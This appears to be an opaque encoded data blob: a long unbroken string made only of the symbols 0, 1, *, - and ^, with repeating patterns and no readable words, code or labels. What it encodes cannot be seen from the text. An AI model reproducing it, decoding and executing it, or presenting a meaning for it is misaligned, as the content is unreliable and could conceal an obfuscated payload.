11*00-----10110-1010-1*0-*011***010-11*0101*011*^-11*-----10110-1101*01*-*011*00-0110-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******1**001010101*001******1***-101*001*11*******011**00101*1011*-*0010110101**1101^1**01*0101^-11*110101******0-*1*101******11**1^-**1******11**10-11**1*11****011**0011*1*101*^11*1*110-^11*0-1*001*******************00-*01*01*1101*001*******^^110--0011****001***1^1*10^^11*01*11011**0-^1101*01*001*0101*001*******110^110--010110-11010^^11010-1*0-11*1*^1*****01**010110101*00^-*001*1*-----10110-1^-11*-*011**010110-11**1**110^1**00--101*^-11*011*00------10-1*1**0-*011*0^1101******1^11*11*1*001*010^1*****01**01^101**1*001*01*1*0101*01011*0-11*------10---**-*011*01*^1*****01**00^1101*001*01*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**--1**1******11**^1011**1*11*******011**00101*0011*-*0010110101**11*001**01*********1101101*00^110101******--*00101******11**00101101*001******11**01010101*001*11****01**01*001*0101*0101*11011010^1*0110^11011011**01*-1*00101*001********^110--0011****011**10-001*10^1101**-1**^--1**01*0101*01101**11*-11*001*******010^110--00110--010^101^10-11*------10-10-*1*-*011*00-1010-11**1**110^1**00--^11*0-11*011*00------10-110-001*-*011**001*-11*0101*00-1*-11*------10-1*10101*-*011*010^110-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**1011011**1******11**110-1**1*11*******011**00101*1101*-*0010110101**1101*1**0^-10^-11*110101******0-*1*101******11***001**01******11**0-01**01*11*******011**00101*0011*-*001011010101*0-0^-*001*0^^-11*001*******^^110--0011****011**1*-*0101*-**^1*1010101^-11*001*0-********************101*01*01*01*******110^110--00110--0101**1*-11*-----1*-1^101**-*011**101^-11**1**110^1**00--110-*-11*011*00-----1*--1*1*00-*011**0110101*^11*1*-11*101*001*1*1*^1*01010-11*101*001*1*0101*01*0^-11*-----1*--11011*00-*011*0-^10-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101*********00^11*001*********-1011*001*11*******011**0010^^11*-*0010110101**-*01**01*10-10-11*110101******0-*1*101******1***-01**1******1**00^101**1*11****001***1^1*10^^11*01*11011**0-^1*0011**1*0101*001*******^^110--0011*******00101011*10^^-*011*001^10-1*01*00^11011*********^11011*001*01*******110^110--*00--010^1*^1*****01**001*001*00^-*001*1*-----1*-1^^101*-*011*0010-00-11**1**110^1**00--1*00^-11*011*00-----1*--^1101*-*011**110110-11*0101*00^1*-11*-----1*-110-1101*-*011*0^1101*****0010-^101*11*001*010^1*****001**0^1**001*001*01*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******01**01*1**01******01**001011**01*11*******011**0010^-01*-*0010110101**-1*1**01*********-1101*00^110101******--*0010^101^10-11*1^1010-11*011****011**10-001*10^1101**-1**^^101011*001*0101*01011*-1*0-11*001********^110--0011****011**0011*1*101*^11*1*110-^---1*001********************1*001*01*1011*001*******010^110--001010-11010^^1101*****001*010^-**00^1^^1*****01**01*^1*00^^1*01*1*-----1^-11**1*0-*011*01*^^-010-11*011*001*1*1101**110^1**00--11*1*-11*011*00-----1^-110^101*0-*011*0^1101*****00101*^101^1*001*010^-001^-11**1*01*1*0101*00-*0-11*-----1^-1101^11*0-*011*0-1*0-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101**0010-11*01101010-11*011*******011**00101*0011*-*0010110101**11*001**01********001*-1*00^110101******--*00101******1**0-10101*001******1**01*1101*001*11****011**1*-*0101*-**^1*101010-1*11*001*1011********************1**1*01*01********^110--0011****01**01*001*0101*0101*11011010^1*0110^11*^1**1*1101*00101*001*******010^110--00110--0101*110-0-11*-----1^---0011*-*011*0^1101*****0011**0-01**01*010^110-*-11*^1**001*00110^1**00--11011*0-11*011*00-----1^-1101^-*-*011*01*0110-11*0101**^^-11*-----1^--*-1*-*011*010110^-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101*********-1011*001*********00^11*001*11*******011**00101*1011*-*0010110101**1101^1**01*00-00-11*110101******0-*1*101******01**1*1101*001******01**--01*001*11*******00101011*10^^-*011*001^10^10^1*00^^11*10^^-11*001*******^^110--0011*******011**00101*1011*-*001011010101*01101010-*00^10-110-11*001*******110^110--0-00-11010^^110101*^1*********1*1*001*01*001*1*1*^1*****01***010-*001*01*001*1*-----1010--0^11*0-*011*001010^-11**1**110^1**00---*^-11*011*00-----1010-1^10-*0-*011**0-10-11*0101*001011*-----1010-110--*0-*011*01*^-110^-11*001*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******1**001010-*001******1***--*001*11*******011**0010^^11*-*0010110101**-*01**01*-1*110101******--*00101********0010110-*001********001^-1*001*11****011**0011*1*101*^11*1*110-^110^^1*001*******************01**01*0^11011*001********^110--0011****001***1^1*10^^11*01*11011**0-^10^-**1*0101*001*******010^110--010110-11010^^110^1^^-11*1*^1*****01**01*-1*001*01*001*1*-----1010-1^10-1*-*011*0^1101*****0010-110-0-**1*010^1*****01**01*1101*001*001*01*1*00101*00110^1**00--1^11*011*00------0-110-**0-*011*01*1^-11*0101*010^^-11*------0--0011**-*011*0-01*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*010^10-010-11*110^10-11*011*******011**0010^^11*-*0010110101**-*01**01*01^10-11*110101******0-*1*101******11**10^1**01******11**110101**01*11****01**01*001*0101*0101*11011010^1*0110^110-011**1*0011*00101*001*******^^110--0011****011**10-001*10^1101**-1**^1^^11*001*0101**11*01011*-11*001*******110^110--00110--010^1*1^-11*------0-11*-1*0-*011*00-1*-11**1**110^1**00--^^^-11*011*00------0--11*01*-*011*0^1101*^110-11*1*^1********--01*00^101*001*1*0101*0-00^-11*------0--101^1*-*011*0^110101*^^^^-11*-*001*1*1*^--^-11*-*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101********00101*01*001********001^^1*001*11*******011**00101*0-*-*0010110101**1^^1**0^11*^-11*110101******0-*1*10^1010-0-11*110-10-11*011*******011**00101*0011*-*001011010101*0-^1**00^-01^-11*001*******^^110--0011****011**1*-*0101*-**^1*10101010-1011*001*1101********************101*01*01*01*******110^110--00-0-11010^^1101*****00-10^10-**001*010^110110^-11*^1*0-----^--0^1**-*011*0^1101*****00^1010--1**01*010^1********01*001*00^^1*01^1*00110^1**00--101^^-11*011*00-----^--001101*00-*011*001101*0101**011*-11*-----^--011011*00-*011*01*^-110110-11*011*001*1*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11***001**01******11**011011**01*11*******011**0010^^11*-*0010110101**-*01**01********00-*01*00^110101******--*00101******11**11010101*001******11**10101101*001*11****001***1^1*10^10-*01*11011**0-^11*101**1*0101*001********^110--0011*******00101011*10^^-*011*001^10101010101*001*1011*^10110-11*001*******010^110--010110-11010^^110101*^10-1010-11*011*001*1*1*^10-1010-11*011*001*1*-----^--^10101*-*011*0^1101********011*001*00^1*^1*****01****-*001*01*001*1*00101*00110^1**00---101*-11*011*00-----^--001*11*-*011*01*1010-11*0101*001011*-11*-----^---^11*-*011*001011010-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101*0010110-11*0--0-11*011*******011**0010^-01*-*0010110101**-1*1**0^-11010-11*110101******--*00101******01**001^1**1******01**0^101**1*11****011**10-001*10^1101**-1**^11010-1*001*0101*11011*0101*0-11*001********^110--0011****011**0011*1*101*^11*1*110-^110101^1*001*******************001**1*01*0011*001*******010^110--00110--010^1*1010-11*-----110--011011*00-*011**-110-11**1**110^1**00--1^11*-11*011*00-----110--101*1*0-*011*0^11010^-00-11*1*^101*010-11*101*001*1*0101*0^10^-11*-----110--0110101*0-*011**011*-11*0101****01**1*1^-101^11****001**01*0101^-0110101******0101011*0101******11**1*0011*001******11**-01011*001*11*******011**00101*0011*-*0010110101**11*001**01********001*^1*00^110101******0-*1*101*********0110101*001*********1*101*001*11****011**1*-*0101*-**^^11010101^101**0^11011*******************00-1*01*01*01*******^^110--0011****01**01*001*0101*0101*11011010^1*0110^1101*11**1*0-*00101*001*******110^110--00110--010^10-110-11*-----110--101*11*-*011*0^1101********001*101*00^1*^1********11*001*001*01*001*1*00101*00110^1**00--1*10^-11*011*00-----110--*00-*-*011*0^1101******001011*00-1*001*010^110101*-11*^1*00101*001101******0101**01011******10101*01010-*****011**0010-********00^1*********10110101**********11*****01101*00-*******^1*^1*1*****01*1*1*-*****0011**0--******101**00-******01***0101*****00101**1*******0011*010^-******101*011*11*****01011**01*1*****001101*-10-******01*0-10101*****01*1*-1101*****00-*001011011*****00^1*01101101*****00101*00--******0^1*-1*******001*001*011******11*0^^11*****0-**11********01*10-******0^1*0011011******011**10^1******^1*00101101*****0-01*1********1101*0^1011******1**011******0010101*01010-*****00-**00^1*****0011**001011*******1*-^11******11**1101******1**00110101*****001**011*1******1*1*0010101******1101*0^101******11*001^1011*****00-*00--*****001^1**10101******01**1011******0-*01*1******0^1*00-1011*****01**00-01******0-*0--11*****0101*00110-01*****010101*--******011**1010-*****0-1***101*****010101*-^11*****0-*001101*1*****************01*101*11*****0^1*01*001******001*0-1******00-1*01^1101*****011**1101********1*-^11*****01101*01*0011*****010101*101011******-**00-1*****001101*011010101*****0-1*0^1******001^1*1*1011*****01011*00-011******0101*1*11******101**001101*****001101*011*******0-01*00-******01011*0-0101*****00-*00110-11*****00101*0-*01*****0101**1*-*****01^1*1^1101********1*11******01**00^-*****00-*01^-******011*0^^1*******1*-^1******01*001********0101**11011*****010101*10-01*****0011***00101******1**1*011******001*11010-*****01011*001010-*****010101*0-1101*****0^1*01*-1*****001101*1011011*****00-01*00101******01101*0-0^1*****00101*00101^1*****001**-0101*****00-1**-******001**0--******01*00-001*******01**011******-1*00101*1*****0101*00-^11******101*0^101*********-001******101*00-1******00101*110-01*****01011*01010-1*****001101**^1******1101*10-011*****01101*00^11******00101*0^101******11*001010101******01**011*1******01*0-1^1******11*0011011******-01*-101******0^1**-1*****001^1*110101******1^1*00101******01***110-*****01*1*00--*****001**1101011*****001^1*001*1*****001***-101******11*00^1101*****01*1**10-*****001**^11011*****01**0011*11********01*001101*1*01**11*0^^10-11*^1*01^1*001****01**0^110^--*01*01^1*001*******010101010--0-*001^1*001****01**001**0--0011*001^1*001****01*****0--0101*001^1*001****01**0-010^--*1*001^1*001*******0-11010--01011**1*******-1*10--001101*01^1*1**11010^1*1***001**011*01*****00^11*1010-***^1**001^1^1***00--------*01**-*01*001^1*^1101******01**-1101*00^1^^1********0^^1*00^^1*01*1*01010^-*00--------10110-*-00110110^1011*1*^-*110-11**1*01*1*--------1^11*00-*01*001^1*^1*0-11*********^1*0010-0010-01*011**1*0--------001*1*0-*01*001^1*0-1*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------*1101*0-*01*001^1*1*^1*****01**00-011**^-*001*1*1101*00101****1**0-101*00101*1**--------0-011*0-*01*001^1**11*1101*001**--------01^-*-00^1101*****00-01**1011**1*010^1********1101^1*001*11*001*1*--------1101*1*-*01*001^1*-01**********1*********01**0101*101*01^11*00^1101*001*-11*1*011011**001*00--------00^101*-*01*001^1*^1101*****0010--110^1**1*010^1*****01**0010101**0^101*001*1*0101*001101*--------110-01*-*01*001^1*11011*01^1*11****001**0-11**1011********00^101********10^1*********1*101********101*01********1101101********001*101********0-*********01101101*******************1*-********01*101********010^1*********011*0101*1*1*001*1*********101*1*0-00^1*01^1*001****01**0^110^--*01*01^1*001*******0-11010--0-*001^1*001****01**001**0--0011*001^1*001*******-1*10--0101*001^1*001*******010101010--001101*01^1*********1***-001*1***001**001*01*****001**0-11***0011***01^1^1******0--------0101**0-00101*001^1*00-*01010^1*******0011**1010-0-*00--------1^-1*-*0-*---------11**-00101*001^1*1*^-1*10-11**1*01*1*********0011*0010-0010-01*011*^1*01011**011010^1**01*0---------011*00-00101*001^1*10-*1011*00101101010^1*001**11*********00-0-*001*101**011010-01*011*00--------101^1*0-00101*001^1*01101*1101*00101****01**0011*0-1011011011******011**0011*101**--------1*011*0-00101*001^1*^110101*^^101010-11*^1*01*1*1*^^101010-11*^1*01*1*1101**101*--------01010-*-00^1101011011*1*^1********11010101*001*001*01*1*--------001*01*-00101*001^1*^1101******110-001*11**1*010^1********10-001*00^-*001*1*********10101*********1**0101*101*01^11*00^1101010101010-11*1*011011**001*00--------01010101*-00101*001^1*1*^1*****01**0-***01*11*001*1*0101*001101*--------110-01*-00101*001^1*-01*01^1*11****001**10-1**1011*******************110101*********001101*********01101********0^^1********-11**********1011********0-01101*********1011*********10101********00-**********-11*********11*0101*10101*001*1*********101*1*0-00^1*01^1*001****01*****0--*01*01^1*001****01**0-010^--0-*001^1*001*******010101010--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**01*001*****001**00-1****01***1^1^1*010101*101******00-11**101*11****011**1*-*0101*-**^^1101010101^1**01*0-********************101*01*01*11*****1*00-*01*101*11**1*101011*****1*00-1101*0101*11****001***1^1*10^11011*01*11011**00-00^110101*001*0101*110101******110-*00101******11***-**01******11**01101**001*11****001**011011*00101*1**011****001***1^1*101*1101*01*11011**00-001^10101*001*0101*001****001**010101*--0^11*011**1*10-0101******0-101*0101******11**110^11*001******11**^-11*001*11****001***1^1*101*-1*01*11011**00-0011*0101*001*0101*110101******110-*00101******01**10--*001******01**1^1011*001*11****001**001011*00101*1**011****001***1^1*101*-1*01*11011**00-0011*0101*001*0101**11*011**1*10-0101******0-101*0101******11**01*001*001******11***01101*001*11****001***1^1*101*0-*01*11011**00-00-110101*001*0101*011****001***-*00101*1**011****001***1^1*101*-1*01*11011**00-0011*0101*001*0101*-01*011**1*10-0101******0-101*0101*********110-1*001*********01*11*001*11****001***1^1*10^-01*01*11011**00-001*10101*001*0101*011****001**0^11*00101*1**011****001***1^1*101*1011*01*11011**00-00110110101*001*0101*01101*011**101*01*******0011**1011*101011*011****001***1^1*101*1011*01*11011**^1^^^1**01*0101*001****001**101011*--0011****011**0011*1*101*^11*1*110-^-1*101*001*******************00101*01*0^10-*-----110--*101*00-001011*01*^--110-11*011*001*1*-----110--1^11*00-001011*0-01*0110--0101**1*-11*-----110--0-11*00-001011*0^1101********011*-*00^1*^1*****01**01*011**^101*001*1*00101*00110^1**00--1^1*0-11*-*00-----110--^1101*0-001011*01*^^1*10-11*^1*01*1*1101*0-01*0110--010^^1*0-11*-----110--0101011*0-001011*011011*-11**1**110^1**00--101101*-*00-----110--*-1*0-001011*01*^11*0110-11*^1*01*1*1101*011011*011****001**-011*00101*101*******0011*0--001**-0--010^^11*-----110--1^^1*-001011*0-1*0-11**1**110^1**00--101011*-*00-----110--1*0101*-001011*01^1*-11*1101*010-*011****001**1^11*00101*101*******0011*0--001**0110--010^1^1*-11*-----110--010-01*-001011*001011*-**0110^1**00--^-*-*00-----110---*11*-001011*01*^--*-11*101*001*1*1101*00-1*-0--010^-01*-----110---01011*-001011*0^1101*101^-11*1*^1*^10-11*0101*01*1*0-*0101101*11****001***-*00101*1**10110-11010^^1101*****0010-^10101101*001*010^1*01^-11**1*01*1*-----110--010-11*-001011**01101011011*1*^1*****01**0-0-**^101*001*1**01*001101*-^--01********0-1^1*001**011*10^1*****01**0-1***1*01*******010101010--*10^1*****01****001*001*01*******010101010--*****001****001*001*01*******010101010--01**00--110-*-*00-----10--1*-*00-001011*01*^1*****01**001*001*00^^1*01*1*1101**011*10110-11010^^1101********0010^11*00^1*^-101*-11*^1*01*1*-----10--11010101*0-001011*0^11*-11**1*0101101*11****001**001011*00101*1**0110--0101*1011*-11*-----10--1^1011*0-001011*0^110101*^-10-0-11*^1*01*1*1*^1011*10-11*^1*01*1*1*1*00110^1**00---101*-*00-----10--1**01*-001011*010101*-11*1101**-*0110--010^10-*-11*-----10--10-*1*-001011**-*-11**1*0101101*11****001**0^11*00101*1**0110--010^10101*-11*-----10--101*101*-001011*0^1101******01010-****1*010^1*****001***11**001*001*01*1*00101*00110^1**00---011*-*00-----10--^-101*-001011*0^1101******-0^10-011*001*010^1*01010-11*-*001*1*1101*001011*0110--0101*0011*-11*-----10---001011*-001011*00-*0-11**1*0101101*11****001**011011*00101*1**-0--010^11011*-----10--101^-*-001011*01*^1********-01101*001*11*001*1*0-**110^1**00--1^11*-*00-----10--1010-11*-001011*0^1101*****001*-*110101*00^1^^1*********00-*001*01*001*1*1101*0^1*0-11*011****001**^-*00101*101*******0011*0--001**0110--010^1*1*-11*--------*001*00-001011*0^1101*********^101*00^1*^-010110-11*011*001*1*1*1*00110^1**00--10-1*-*00---------011*00-001011*00101101011011*1*^1********-01101*001*11*001*1*1101*0^11*011****001**101011*00101*101*******0011*0--001**0110--0101*101*0-11*--------*1101*0-001011*0^110101*^1^11*-11*101*001*1*1*^^-^-11*101*001*1*1*1*00110^1**00--1*11*-*00---------1011*0-001011*0^1101*****0010-*110-11*00^1^^10--0-11*001*001*1*1101*001101******01**01010^1*********-11*****001**00-******01**0010^1*****001**0010-*********0^-********01^11******1***^1*****001**001*******01**00^-1*****01**01*0-********110^1*********01*1*****001**-^1*****001**00^-1********1^1101*****01**00-0101********1^1*********0-01********00110^1******1**^101******1**010-*******************00110^1********0011*11*****01***1^11*****001**0101*********0-1^1*****001**0101101*****001**0110-01********0-1*101*10^1*01011*010-*0101*01^1*001****01**0-010^--0^1*01^1*001****01**001**0--*01*01^1*001*******010101010--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001*******0-11010--*1*001^1*001****01**0^110^--001101*01^1*1**11010^1*1***001****01******01**01011****11**001^1^1****10101*11****011**010-01*101******11***0^1*001******11**10110-*001*11*00-----1010--0-11*0-001011***^-11*-----1010--01*01*-001011*0^1101******-10-101101**1*010^1*********-11*001*001*01*1*---------00-*-00^1101*****00-0-01*-**1*010^1********0-0-*001*001*01*1*-----1010-1^110101*-001011**001*-11**********1*0^-001**00---001*-11*-*00-----1010-110-1101*-001011*001^^-11*1101*0-01*--------*0-1*-001*^-00-0-11*101*001*1*-----1010-110^1011*-001011*001011*********-*00^-001**00--101101*-*00-----1010-1101*-*-001011*01101*0-11*1101*011011*011****001**-011*00101*101*******0011*0--001**--------1^-1*-001101*0-11*-----1010-110--1*-001011*0^110101*^101011*001*001*1*1*^1********00^101*001*01*001*1*********1^1*^-001**00--101011*-*00------0-1101011**-001011*0^1*0-11*1101*01*1*-11*01*101011****01**01*001*0101*0101*11011010^1*0110^-010^1*00^11011*00101*00-*011*00--------1^-1*-00^1*0-11*------0-1^-1*00-001011*001010^-11**********1*0^-001**00--1*01*-11*-*00------0-110-001*0-001011*0-10^-11*1101**001*-11*01*101011****001**011011*00101*1**11011*011*00--------1^-1*-00-10^-11*------0--001011*0-001011*0^1101011010110-11*1*^1*****01**00-001**^^1*01*1*********1*1*^-001**00---11*0-11*-*00------0-1^1*01*-001011*011011*1101**11*0-11*01*101011****001***-*00101*1**-01*011*00--------0010-1*-0011011*------0--0-001*-001011*01*^110-110-11*001*001*1*********1101*0^-001**00---01*0-11*-*00------0-110^1101*-001011*0^1101******-00^-01**0^1^^101*^-11*0101*01*1*1101*00-*0-11*01*101011****001**001011*00101*1**^11*011*00---------00-*-00^1101*****00-*1*00^1*00^1^^1********-10101*001*101*01*1*------0-1101*-*-001011*0-01*-11**********1*0^-001**00--11011*0-11*-*00------0-1^10-1*-001011*010101*-11*1101*0^11*011****001**101011*00101*101*******0011*0--001**--------10110-*-00^110^1*110-11*1*^^110^-11*001*001*1*-----^--01101**-001011*01*^1*01010-11*001*001*1*********1101*0^-001**00--1*11*-*00-----^--010101*00-001011*0^1101******^1101011011**0^1^^1*****01***01101**1*101*01*1*1101*010-*011****001**1^11*00101*101*******0011*0--001**--------01010-*-*00110101101*0-11*1*^1*****01**0110101**0^101*001*1*-----^--1101101*0-001011**110^-11**********1*0^-001**00--^-*-*00-----^--0011011*0-001011*01011*0-11*1101**-*--------1^-1*-*0^^-11*-----^--10-11*0-001011*00-0^-11**********1*0010-*11****001**0^11*00101*1**--------1^-1*-001011*0-11*-----^---0^1*-001011*01*^1*0-0-11*^1*01*1*********1101*0^-001**00---011*-*00-----^--11010101*-001011*0^1101*****001**001^11**1*010^1101*10-11**1*01*1*1101*01101*0-11*01*101011****01**01*001*0101*0101*11011010^1*0110^110-0011*00^11011*00101*01101*011*00--------*0-1*-001*^11*-0-11*001*001*1*-----^--^11011*-001011*00-1*-11**********1*0^-001**00--10101*0-11*-*00-----^--11010-*-001011*01*^1*****01**00-011**^101*001*1*1101*01011*0-11*01*101011*******011**0010^-01*-*001011010-*01^1^1**1********0010--*001*0011*011*00--------0010-1*-*0011*-----110--10101**-001011*010^^-11**********1*0^-001**00--^11*0-11*-*00-----110---001*00-001011*0^1101*****00101010110110101**1*010^-^^-11*-*001*1*1101*0-1*0-11*01*101011****01**01*001*0101*0101*11011010^1*0110^-*0101*001*0011*00101*01011*011*00--------1^-1*-001*0^-11*-----110--0^101*0-001011*0^1101******101010-001**001*010^^10-0-11*-*001*1*********1*1*^-001**00--10-*0-11*-*00-----110--1011011*0-001011*010-*1101*00^1*-11*01*101011****001**0^11*00101*1**10-*011*00--------11010-*-00^1101******101*0^11**001*010^-011*-*001*1*-----110---1*1*-001011*011*^-11**********1*0^-001**00--11*1*-11*-*00-----110--1*0101*-001011*01101101010-*1*^^-*-11*001*001*1*1101*00-1*--------10110-*-001*^1********01*101*00^101*001*1*-----110--10-101*-001011**011*-11**********1*0010-*11****001***-*00101*1**--------1^-1*-*101*0-11*-----110---01011*-001011*0010110^1011*1*^-1*10-11*001*001*1*********1011*0^-001**00--110-*-*00-----110--10110-*-001011*001011*-11*1101**011*--------1^-1*-*-*0-11*-----110--0--1*-001011*0^1101******01*-01101**01*010^-*010-11*-*001*1*********1*1*010-*11****001**001011*00101*1**--------10110-*-00^11010-1*0-11*1*^10-0010-11*001*001*1*-----10---^1*00-001011*00-1*********-*00^-001**00---101*-*00-----10---1011*00-001011**010^-11*1101*00101*0-11*0101*01*******0011**1011*1^1*0-11*--------1^-1*-*0010^-11*-----10--11*101*0-001011*0^1101*****001*10-1101101*001*010^1010-00-11*-*001*1*********1*1*^-001**00--1^1*0-11*-*00-----10--^11011*0-001011*0^110^11*10-11*1*^1********1*0101*001*11*001*1*1101*001011*--------1^-1*-*0101*-11*-----10--1011*01*-001011*0-00^-11**********1*0010-*11****001**011011*00101*1**--------10110-*-00^1101*110^-11*1*^101010^-11*101*001*1*-----10--101^101*-001011*00-*0-11**********1*0^-001**00--1^11*-*00-----10---101101*-001011*0^11*1101*0^1*0-11*011****001**^-*00101*101*******0011*0--001**--------01010-*-00^1101********0-01101*00^1*^--110-11*001*001*1*-----10--^-011*-001011*01^1*-11**********1*0^-001**00--10-1*-*00-----10--110110-*-001011**-*-11*1101*01^1*-11*01*101011****011**0011*1*101*^11*1*110-^11*1011**1*******************0101*001*01*1101*0-1*011*00--------1^-1*-*0-*-11*--------01101**-001011*0-1*0-11**********1*0^-001**00--10^1*-11*-*00--------*101*00-001011*011010^-11*1101*001101*******1*0010101101********011*11*****011**00^-*****001**00-101*****001**1101*******1**-00-******1*0010110101*****011**10--*********10-********110-11********1^1101******1**010-******1**11*1******1**001*11*****001**00^1101******1***101******1**1101*********00101******0011**1101^1*****001**11*11******01*00110-********00101*1****************01**0101*1*****001**0110-******1**001*001*****011**11*11*****001**0101*11*****011**0-11******01**01*101********01^11*****0011***01011*****011***1*******01*00^1^1********11*1********00^1^1*****001**011*11*****011****01******1***101*****001**01*^1******1**0011******01***011******01**0101*11*****011**^101******11**0-0101******1**101011********0110-1******1**-*1*****001**0-00-*****001**-*01********0^1^101*10^1*01011*011011*-11*0101*01^1*001****01**0^110^--0^1*01^1*001*******0-11010--*01*01^1*001*******010101010--0-*001^1*001*******-1*10--0011*001^1*001****01*****0--0101*001^1*001****01**001**0--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0--******101*00-^11**00-***1^1^1******0010101*11****011**010-01*10^101*10-11**-00-11*011*00-----110---**00-001011*01^1*-11*-----110---1**0-001011*0^1101*****00^--^101**1*010^110-^-11*001*001*1*--------0010-1*-0010-*-----110--01^1*00-001011*00-*0-11**********1*0^-001**00--10101*0-11*-*00-----110--*-*00-001011*00101*0-11*1101*0-01*--------01010-*-00^1101*101*-11*1*^1*********^11*00^-*001*1*-----110--0^101*0-001011*0^110101*^1********01010101*001*101*01*1*1*^1********110-11*001*101*01*1*********-01*^-001**00--101101*-*00-----110--0^-*0-001011*010101*-11*1101*010-*01*101011****01**01*001*0101*0101*11011010^1*0110^-*1101*00^-01*00101*01011*011*00--------1^-1*-0010101*-11*-----110--1^^1*-001011*0^1101********0011*11*00^1*^1********^10101*00^-*001*1*********00101*^-001**00--^-*-*00-----110--*01101*-001011*0^11010110-10-11*1*^1********-10101*001*11*001*1*1101*00101*0-11*01*101011****001**0^11*00101*1**10-*011*00--------1^-1*-001101*0-11*-----110--00101011*-001011*0^1101*****00^10-^10-*001*010^-101*^1*01*1**********01*^-001**00--1^1*0-11*-*00-----110--0-0-*-001011*0^1*0-11*1101*0^1*0-11*01*101011****001***1^1*101*1011*01*11011**^1^1010-**01*0101*00-*011*00--------*0-1*-001*^-1*10-11*-*001*1*-----10--10^1**-001011*0^110101*^11*1*-11*-*001*1*1*^1********10^101*00^-*001*1*********00101*^-001**00--10-1*-*00-----10---1101*00-001011*001011*-11*1101*00-1*01*101011****001**011011*00101*1**11011*011*00--------1^-1*-*1011*-11*-----10--1^^1*0-001011**001*-11**********1*0^-001**00--110-*-*00-----10--10101101*0-001011*011011*1101*001011*01*101011****001***-*00101*1**-01*011*00---------00-*-00^1101*****0010^11010-01**^1^^1********00-001*001*001*01*1*-----10----11*0-001011**101*-11**********1*0^-001**00--1^11*-*00-----10--1*0^1*-001011*0-01*-11*1101*0^11*01*101011****01**01*001*0101*0101*11011010^1*0110^-00^11*001*0011*00101*01101*011*00--------1^-1*-00-01*-11*-----10--11*1101*-001011*0^1101*********00-1*00^1*^1********00-001*00^-*001*1*********00101*^-001**00--1*11*-*00-----10--10-0011*-001011*001101*-11*1101**011*0101*01*******0011**1011*10-1*--------1^-1*-*1101*-11*-----10--101^-*-001011**-*********-*00^-001**00---101*-*00-----10--10110-1*-001011*00-1*1101*011011*01*101011****011**1*-*0101*-**^1*1010101101101**0^-01*******************00^1*01*01*0011*011*00--------0-0-*-001101101010-*1*^^^^-11*011*001*1*--------01*1*00-001011*0^1101********01*-1*00^1*^1********-*11*00^101*001*1*********00101*^-001**00--101011*-*00----------*00-001011**011*1101**-*01*101011****001**001011*00101*1**^11*011*00---------00-*-00^1101*****001101*^^-*001*010^1*****01**01101011**1*01*001*1*--------00^11*0-001011*0^1101*******1*11*101*001*010^1*****01***101**001*01*001*1*********00101*^-001**00---011*-*00--------1**1*-001011*010-*1101*001101******001**11*001*****01**01101101*****001**00--1********^-*********10-11********00-101*****001***11******01**00-1*********^1**********10^1********^1******001***0^1*****001**010-101*****001**0101011*****001**001*001*****001***^1*****001**001011011*****001**0^101*****001***-001********0010^1*****001**110-1********011010101*****01***0011**********0-******************00110^1******1**0^101*********10-*********-*101*10^1*01011*0^11*0101*01^1*001*******0-11010--0^1*01^1*001*******-1*10--*01*01^1*001****01**0^110^--0-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--0101*001^1*001****01*****0--*1*001^1*001*******010101010--001101*01^1*********1***-001*1***001**00-11******11**0-11***0-***1^1^1****10101*01*******-*-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-*-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******011*-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******011*-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******101*-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******101*-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01*******001*-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******001*-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*********010101*11****001**1^11*00101*01**-*001**011****001**-011*0010^101**1**011****001**101011*00101*01**1**011****001**^-*0010^11**01**0101******0011*01*0101*1*****1101*01^1*********1***-*^1101***10101*11****001**^-*00101*11****011**0011*1*101*^11*1*110101^1^11*1*001*******************01101*01*01*1101*01**011****001**-011*00101*11****011**0011*1*101*^11*1*110101^-101*1*001*******************01**01*0^10-*01**011****001**101011*00101*11****011**0011*1*101*^11*1*110101^--*1*001********************11*01*0^^11*01**011****001**1^11*00101*11****011**0011*1*101*^11*1*110101^110101*1*001*******************01011*01*01*0-*01**0101******0011*01*0101*1*****1101*01^1*********1***-*******************0-0-***101***1^1^1***00--------110101*00-*01*001^1*00-*01010^-*00--------1^-1*-*0-*--------110-*00-*01*001^1*01011**********1*0010-0010-01*011**1*0--------110^1*0-*01*001^1*^11*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00---------1101*0-*01*001^1*01101*1101*00101****1**0-^--011011011******011**0011*101**--------1^-*0-*01*001^1*^1101*****0011*0-1^11**^1^^1^^10-11*011*001*1*1101*0-01*--------1^-1*-*0011*--------1011*1*-*01*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^1101*0-00-11*1*011*1*0011**---------00101*-*01*001^1*00-*0101*001101*--------1*1101*-*01*001^1*^1101*11*0-11*1*^1*****01***1***0^101*001*1*01^1*11****001**-101**1011*******************1*01********00110^1********0110-*********011*********01*1*********110^1********0010^1********0--********00110101********00101011********00101011*********11*0101*1*1*001*1*********-^1*0-*11*001^1*001****01**0^110^--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**010-1********00-10-**0011***01^1^1***00-----